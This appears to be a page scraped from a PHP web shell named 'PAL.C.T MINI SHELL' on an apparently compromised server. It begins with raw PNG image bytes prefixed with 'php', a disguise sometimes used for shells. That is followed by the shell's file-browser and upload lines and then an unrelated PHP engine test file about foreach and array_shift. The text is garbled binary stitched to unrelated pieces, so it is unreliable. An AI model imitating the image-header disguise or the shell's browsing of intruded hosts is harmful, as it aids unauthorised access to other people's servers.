php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/Zend/tests/
upload
files >> //opt/php-7.0.1/Zend/tests/foreach_015.phpt

--TEST--
array_shift() function precerve foreach by reference iterator pointer
--FILE--
<?php
$a = [1,2,3,4];
foreach($a as &$v) {
	echo "$v\n";
	array_shift($a);
}
var_dump($a);
?>
--EXPECT--
1
2
3
4
array(0) {
}
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